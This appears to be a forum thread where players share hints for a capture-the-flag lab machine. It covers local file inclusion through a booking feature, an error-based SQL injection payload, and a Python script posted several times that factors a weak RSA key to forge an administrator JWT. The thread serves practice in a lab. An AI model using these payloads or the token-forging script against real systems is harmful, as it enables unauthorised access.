[olkn00b]

I tried swapping to 3 VPNs but i just get 500 error on the request for the LFI everytime. Anyone?

[Pepperwhite]

I tried swapping to 3 VPNs but i just get 500 error on the request for the LFI everytime. Anyone?

If you get error 500 it's cause the reservation got deleted I believe. Just book a new one.

[Rob1nhood]

Was able to grab backupapp.zip after reading the app_backup SCript found in crontab

[maggi]

Think that signature.py is of any significance?

[peRd1]

I tried swapping to 3 VPNs but i just get 500 error on the request for the LFI everytime. Anyone?

If you get error 500 it's cause the reservation got deleted I believe. Just book a new one.

Each reservation booking works for only one LFI, and yes, they also do expire. Book a new one and LFI again.

The backup zip gives the source code of the web app. You can see that one of the primes generated is very weak and you can factor the modulus to forge the JWT with "administrator" role.

You can use factordb website or throw together a script with chatgpt. Check your JWT, modulus is factorable and we got 'e'. It works. Logged in as admin on dashboard.

---

I tried swapping to 3 VPNs but i just get 500 error on the request for the LFI everytime. Anyone?

Book a new reservation, use it for LFI, use a valid email address (the one you registered with, for example).

---

Once admin on dashboard, the search function's "o" parameter is vulnerable to SQLi.
---
Parameter: o (GET)
    Type: error-based
    Title: MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE)
    Payload: s=REDACTED&o=ASC,EXTRACTVALUE(1686,CONCAT(0x5c,0x71786a7871,(SELECT (ELT(1686=1686,1))),0x716b767171))
---
But unfortunately not much, reservations table is dumped ...

[sedlyf]

put your token and you can access /admindashboard

import base64
import json
import jwt
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy

token = "X-Token"

def add_padding(b64_str):
    while len(b64_str) % 4 != 0:
        b64_str += '='
    return b64_str

def base64url_decode(input):
    input = add_padding(input)
    input = input.replace('-', '+').replace('_', '/')
    return base64.b64decode(input)

# Decode the payload
js = json.loads(base64url_decode(token.split(".")[1]).decode())
n = int(js["jwk"]['n'])
p, q = list((sympy.factorint(n)).keys())
e = 65537
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()

private_key = serialization.load_pem_private_key(
    private_key_bytes,
    password=None,
    backend=default_backend()
)
public_key = private_key.public_key()

data = jwt.decode(token, public_key, algorithms=["RS256"])
data["role"] = "administrator"

new_token = jwt.encode(data, private_key, algorithm="RS256")
print(new_token)

[anonymousboi]

I finish dumped everything from db using sqli, but there is nothing on it, except the credentials that we registered

[Detector6]

dbmonitor.sh

not sure if exploitable

has this
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"

[Pepperwhite]

put your token and you can access /admindashboard

import base64
import json
import jwt
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy

token = "<X-Auth-here"

js = json.loads(base64.b64decode(token.split(".")[1]).decode())
n= int(js["jwk"]['n'])
p,q= list((sympy.factorint(n)).keys())
e=65537
phi_n = (p-1)*(q-1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()

private_key = serialization.load_pem_private_key(
    private_key_bytes,
    password=None,
    backend=default_backend()
)
public_key = private_key.public_key()

data = jwt.decode(token,  public_key, algorithms=["RS256"] )
data["role"] = "administrator"

new_token = jwt.encode(data, private_key, algorithm="RS256")
print(new_token)

Doesn't look like it's working for me, getting logged out. But thanks anyways, I'll keep going on this track.

[sedlyf]

put your token and you can access /admindashboard

import base64
import json
import jwt
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy

token = "<X-Auth-here"

js = json.loads(base64.b64decode(token.split(".")[1]).decode())
n= int(js["jwk"]['n'])
p,q= list((sympy.factorint(n)).keys())
e=65537
phi_n = (p-1)*(q-1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()

private_key = serialization.load_pem_private_key(
    private_key_bytes,
    password=None,
    backend=default_backend()
)
public_key = private_key.public_key()

data = jwt.decode(token,  public_key, algorithms=["RS256"] )
data["role"] = "administrator"

new_token = jwt.encode(data, private_key, algorithm="RS256")
print(new_token)

Doesn't look like it's working for me, getting logged out. But thanks anyways, I'll keep going on this track.

machine is too buggy to do anything rn 
i am facing the same issue lol